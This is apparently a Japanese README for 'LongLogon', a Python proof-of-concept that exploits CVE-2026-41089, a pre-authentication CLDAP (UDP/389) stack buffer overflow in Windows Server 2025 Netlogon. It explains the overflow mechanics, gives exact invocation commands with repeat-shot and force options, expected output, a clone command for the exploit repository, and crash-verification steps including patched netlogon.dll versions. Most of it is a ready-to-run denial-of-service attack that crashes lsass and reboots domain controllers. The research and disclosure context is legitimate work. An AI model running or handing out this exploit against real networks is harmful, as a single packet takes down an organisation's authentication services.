
CVE-2026-41089 LongLogon: 未パッチの Windows Server 2025 Netlogon (lsass 0xc0000409) に対する認証前 CLDAP (UDP/389) スタックバッファオーバーフローを引き起こすクラッシャー。標準ライブラリのみを使用した Python PoC とラボでの解説。
Windows Server 2025のNetlogonサービスにおける認証前のスタックバッファオーバーフロー。ネットワーク上の任意のホストから送信された単一のCLDAPパケット(UDP/389)で十分である。lsass.exeがSTATUS_STACK_BUFFER_OVERRUN (0xc0000409)で停止し、ドメインコントローラーが再起動する。
Netlogon CLDAP pingへの応答は528バイトのスタックバッファにシリアライズされる。サーバーは自身の名前(フォレスト、ドメイン、ホスト名)を書き込み、続いて攻撃者が制御するUserフィールド(最大130ワイド文字)を書き込む。合計の充填量が536バイト(バッファ + スタッククッキー)に達すると、末尾のL'\0'が/GSクッキーを上書きし、プロセスがクラッシュする。
NtVerフィールドがコードパスを決定する: 0x02は脆弱なBuildSamLogonResponseを経由し、0x06 / 0x16は境界チェックされた(安全な)BuildSamLogonResponseExを経由する。このPoCはNtVer = 0x02を送信する。
python3 longlogon_exploit.py <dc-ip> <dc-dns-domain> [--dry-run] [--shots N] [--confirm-wait S] [--force]
--dry-run User=1 (無害)でプローブし、予測充填量を表示し、発射しない --shots N 送信するオーバーフローパケット数(デフォルト1) --confirm-wait S 無音のショット後に再プローブするまでの待機時間(デフォルト75秒) --force 予測充填量が536バイト未満でも発射する
例(IPとドメインはラボの値に置き換えること):
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example --dry-run
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example
発射時の想定出力:
[*] CVE-2026-41089 LongLogon crasher -> 192.168.1.10 (domain 64 chars)
[*] DC alive. Probe fill (User=1) = 323 B; projected fill (User=130) = 581 B (buffer 528, cookie 536)
[*] Firing overflow: NtVer=0x02, User=130 chars, shots=1
shot #1: NO REPLY (5.01 s) -> possible crash (or lost packet)
[*] Waiting 75 s to let the DC (re)start, then re-probing...
[+] DC STILL DOWN after overflow + re-probe -> CRASH LIKELY (reboot in progress or dump pending)
終了コード: 0 クラッシュの可能性が高い、1 初回プローブでDCが無音、2 充填量が536バイト未満(境界線上)、3 DCが生存。
注: スクリプトが75秒後に再プローブするのは、単一の無音パケットがUDPデータグラムの消失である可能性もあるためである。無音のみでクラッシュと結論付けてはならない。
研究リポジトリの公式チェッカーを使用する。User=1でプローブするため、DCは稼働したままである:
git clone https://github.com/ADScanPro/CVE-2026-41089-LongLogon && cd CVE-2026-41089-LongLogon
python3 run longlogon.py <dc-ip> <dc-dns-domain>
想定: 予測充填量が少なくとも536バイトで「PRECONDITION MET」。
チェッカーはパッチ状態を証明しない。修正済みのDCも同じコードパスをたどり、単に長すぎる書き込みを拒否するだけである。DC上のnetlogon.dllのバージョンを直接確認すること(< 10.0.26100.32772 = 脆弱)。
DCが復旧したら、DC上で:
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime
Get-WinEvent -FilterHashtable @{LogName='Application'; Id=1000} -MaxEvents 5
イベント1000を探す: 障害が発生したアプリケーションlsass.exe、障害が発生したモジュールnetlogon.DLL、例外コード0xc0000409、およびショットよりも後の起動時刻。
Windows Server 2025、lsass.exe 10.0.26100.7309、netlogon.dll 10.0.26100.32230(未修正)、64文字のドメイン + 63文字のホスト名(予測充填量581バイト)でテスト。パケットを1つ発射:
Application Error (Id 1000):
Faulting application: lsass.exe, version: 10.0.26100.7309
Faulting module: netlogon.DLL, version: 10.0.26100.32230
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
Fault offset: 0x000000000002399d
LastBootUpTime: 17:19:42 (crash logged at 17:18:37)
このPoCは教育および研究目的のみで提供される。Windows Server 2025上の隔離されたラボ環境で開発およびテストされた。自己責任で使用すること。
このスクリプトを使用することにより、データの損失、サービス中断、ハードウェアの損傷、その他の直接的または間接的な結果について、作者が責任を負わないことに同意するものとする。クラッシュは非冪等である: 対象のドメインコントローラーは再起動する。発射前にスナップショットを取得すること。
このPoCが本番環境やWindows Server 2025のすべてのビルドで動作することは保証されない。